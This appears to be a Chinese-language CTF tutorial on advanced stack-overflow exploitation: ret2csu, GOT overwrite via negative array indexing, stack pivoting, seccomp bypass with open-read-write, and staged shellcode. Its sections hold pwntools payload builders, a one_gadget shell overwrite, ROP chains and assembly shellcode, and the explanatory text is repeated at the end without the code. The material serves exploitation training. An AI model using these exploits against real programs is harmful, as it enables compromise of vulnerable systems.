栈溢出进阶
字数 1320 2025-08-25 22:58:35

栈溢出进阶技术详解

1. ret2csu 技术原理与应用

1.1 基本原理

在64位程序中,函数的前6个参数通过寄存器传递:

  • 第1参数:rdi
  • 第2参数:rsi
  • 第3参数:rdx
  • 第4参数:rcx
  • 第5参数:r8
  • 第6参数:r9
  • 第7个及以后的参数存放在栈中

当常规gadget不足时,可以利用__libc_csu_init中的两段代码片段来实现3个参数的传递。

1.2 __libc_csu_init关键代码分析

.text:0000000000401190 __libc_csu_init proc near
.text:0000000000401190     push    r15
.text:0000000000401192     mov     r15, rdx
.text:0000000000401195     push    r14
.text:0000000000401197     mov     r14, rsi
.text:000000000040119A     push    r13
.text:000000000040119C     mov     r13d, edi
[...]
.text:00000000004011C8 loc_4011C8:
.text:00000000004011C8     mov     rdx, r15
.text:00000000004011CB     mov     rsi, r14
.text:00000000004011CE     mov     edi, r13d
.text:00000000004011D1     call    ds:(__frame_dummy_init_array_entry - 403E10h)[r12+rbx*8]
[...]
.text:00000000004011E2     pop     rbx
.text:00000000004011E3     pop     rbp
.text:00000000004011E4     pop     r12
.text:00000000004011E6     pop     r13
.text:00000000004011E8     pop     r14
.text:00000000004011EA     pop     r15
.text:00000000004011EC     retn

第一段gadget分析(结尾部分):

  1. 将值pop到rbx寄存器
  2. 将值pop到rbp寄存器
  3. 将值pop到r12寄存器
  4. 将值pop到r13寄存器
  5. 将值pop到r14寄存器
  6. 将值pop到r15寄存器
  7. 返回

第二段gadget分析(中间部分):

  1. 将r15的值传给rdx
  2. 将r14的值传给rsi
  3. 将r13的低32位值传给rdi
  4. 调用函数(call指令)
  5. rbx值加1
  6. 比较rbp和rbx的值
  7. 不相等则跳转

1.3 利用要点总结

  1. 利用r13控制rdi
  2. 利用r14控制rsi
  3. 利用r15控制rdx
  4. 将rbx设置为0避免偏移
  5. 使用call调用函数(应使用GOT表中的地址)
  6. 设置rbp=rbx+1防止跳转

1.4 示例利用代码

from pwn import *

def csu(rbx, rbp, r12, r13, r14, r15, last):
    payload = b'a' * 0x80 + fakeebp
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += b'a' * 0x38
    payload += p64(last)
    return payload

# 使用示例
csu(0, 1, write_got, 1, write_got, 8, main_addr)

2. GOT表覆写与数组越界利用

2.1 GOT表覆写原理

.got.plt相当于.plt的GOT全局偏移表,存放外部函数的入口地址。通过修改这个地址可以改变程序执行流程。

2.2 数组越界原理

当数组下标越过最大索引值时,指针会指向更高地址的栈空间段,实现任意栈空间改写。负数下标则指向更低地址的栈空间段。

2.3 示例利用

# 通过负数下标修改exit的GOT表项
io.sendline(b'-6')  # exit_got与seat数组起始地址相差96字节(96/16=6)
io.send(p64(start)) # 将exit改为_start实现无限循环

# 获取read函数地址
read_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = read_addr - libc.symbols['read']

# 使用one_gadget获取shell
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
shell = libc_base + one_gadget[1]
io.send(p64(shell)) # 覆写exit为shell

3. 栈迁移技术

3.1 基本原理

通过将ebp转移到bss或data段,在这些区域构造gadget并执行:

  • leave相当于mov esp,ebp; pop ebp
  • ret相当于pop eip

3.2 利用步骤

  1. 让esp指向fake ebp1
  2. 在fake ebp1处写入fake ebp2的地址
  3. 再次执行leave指令使ebp指向fake ebp2

3.3 示例利用

# 在bss段构造rop链
buf = elf.bss() + 0x150  # 避免覆盖重要数据

# 构造rop链
orw_payload = p64(pop_rdi) + p64(buf + 0x88) + p64(pop_rsi_r15) + p64(0)*2 + p64(open)
orw_payload += p64(pop_rdi) + p64(3) + p64(pop_rsi_r15) + p64(buf + 0x90) + p64(0)
orw_payload += p64(pop_rdx) + p64(0x100) + p64(read)
orw_payload += p64(pop_rdi) + p64(buf + 0x90) + p64(puts_plt) + b'flag\x00aaa'

# 栈迁移payload
payload = cyclic(0x100) + p64(buf - 0x8) + p64(leave_ret)

4. 沙盒绕过技术

4.1 沙盒机制

限制系统调用,通常限制execve等危险调用。

4.2 识别沙盒

  1. 使用seccomp-tools工具:

    seccomp-tools dump ./binary
    
  2. 代码中常见的沙盒设置方式:

    • prctl函数调用
    • seccomp库函数

4.3 ORW技术

当execve被禁用时,使用open-read-write组合读取文件:

# ORW shellcode示例
shellcode = asm('''
    push 0x67616c66  # 'flag'
    mov rdi,rsp      # 文件名地址
    xor esi,esi      # 标志位
    push 2
    pop rax          # open系统调用号
    syscall
    
    mov rdi,rax      # 文件描述符
    mov rsi,rsp      # 缓冲区
    mov edx,0x100    # 读取长度
    xor eax,eax      # read系统调用号
    syscall
    
    mov edi,1        # stdout
    mov rsi,rsp      # 缓冲区
    push 1
    pop rax          # write系统调用号
    syscall
''')

5. Shellcode技术

5.1 基本使用

当程序提供可执行内存区域时,可以注入shellcode:

# 示例:使用mmap分配的可执行内存
shellcode = asm('''
    mov rdi,rax
    mov rsi,0xCAFE0010
    syscall
    nop
''')

5.2 空间受限时的解决方案

当空间不足时,可以分阶段执行:

  1. 第一阶段:设置寄存器并调用read读取更多数据
  2. 第二阶段:执行完整的shellcode
# 第一阶段:设置read参数并调用
stage1 = asm('''
    mov rdi, 0          # fd = stdin
    mov rsi, 0xCAFE0010 # buf
    mov rdx, 0x1000     # count
    xor eax, eax        # syscall number (0 for read)
    syscall
    jmp rsi             # 跳转到新读取的shellcode
''')

6. 实用技巧总结

  1. 地址泄露:通过泄露GOT表中的函数地址计算libc基址
  2. ROP链构造:合理利用现有gadget控制参数寄存器
  3. 栈空间扩展:当空间不足时使用栈迁移技术
  4. 沙盒绕过:熟悉ORW等替代技术
  5. 调试技巧:使用gdb验证寄存器状态和内存布局

通过掌握这些技术,可以应对各种栈溢出保护机制,实现有效的漏洞利用。

栈溢出进阶技术详解 1. ret2csu 技术原理与应用 1.1 基本原理 在64位程序中,函数的前6个参数通过寄存器传递: 第1参数:rdi 第2参数:rsi 第3参数:rdx 第4参数:rcx 第5参数:r8 第6参数:r9 第7个及以后的参数存放在栈中 当常规gadget不足时,可以利用 __libc_csu_init 中的两段代码片段来实现3个参数的传递。 1.2 __libc_csu_init 关键代码分析 第一段gadget分析(结尾部分): 将值pop到rbx寄存器 将值pop到rbp寄存器 将值pop到r12寄存器 将值pop到r13寄存器 将值pop到r14寄存器 将值pop到r15寄存器 返回 第二段gadget分析(中间部分): 将r15的值传给rdx 将r14的值传给rsi 将r13的低32位值传给rdi 调用函数(call指令) rbx值加1 比较rbp和rbx的值 不相等则跳转 1.3 利用要点总结 利用r13控制rdi 利用r14控制rsi 利用r15控制rdx 将rbx设置为0避免偏移 使用call调用函数(应使用GOT表中的地址) 设置rbp=rbx+1防止跳转 1.4 示例利用代码 2. GOT表覆写与数组越界利用 2.1 GOT表覆写原理 .got.plt 相当于.plt的GOT全局偏移表,存放外部函数的入口地址。通过修改这个地址可以改变程序执行流程。 2.2 数组越界原理 当数组下标越过最大索引值时,指针会指向更高地址的栈空间段,实现任意栈空间改写。负数下标则指向更低地址的栈空间段。 2.3 示例利用 3. 栈迁移技术 3.1 基本原理 通过将ebp转移到bss或data段,在这些区域构造gadget并执行: leave 相当于 mov esp,ebp; pop ebp ret 相当于 pop eip 3.2 利用步骤 让esp指向fake ebp1 在fake ebp1处写入fake ebp2的地址 再次执行leave指令使ebp指向fake ebp2 3.3 示例利用 4. 沙盒绕过技术 4.1 沙盒机制 限制系统调用,通常限制execve等危险调用。 4.2 识别沙盒 使用 seccomp-tools 工具: 代码中常见的沙盒设置方式: prctl 函数调用 seccomp 库函数 4.3 ORW技术 当execve被禁用时,使用open-read-write组合读取文件: 5. Shellcode技术 5.1 基本使用 当程序提供可执行内存区域时,可以注入shellcode: 5.2 空间受限时的解决方案 当空间不足时,可以分阶段执行: 第一阶段:设置寄存器并调用read读取更多数据 第二阶段:执行完整的shellcode 6. 实用技巧总结 地址泄露 :通过泄露GOT表中的函数地址计算libc基址 ROP链构造 :合理利用现有gadget控制参数寄存器 栈空间扩展 :当空间不足时使用栈迁移技术 沙盒绕过 :熟悉ORW等替代技术 调试技巧 :使用gdb验证寄存器状态和内存布局 通过掌握这些技术,可以应对各种栈溢出保护机制,实现有效的漏洞利用。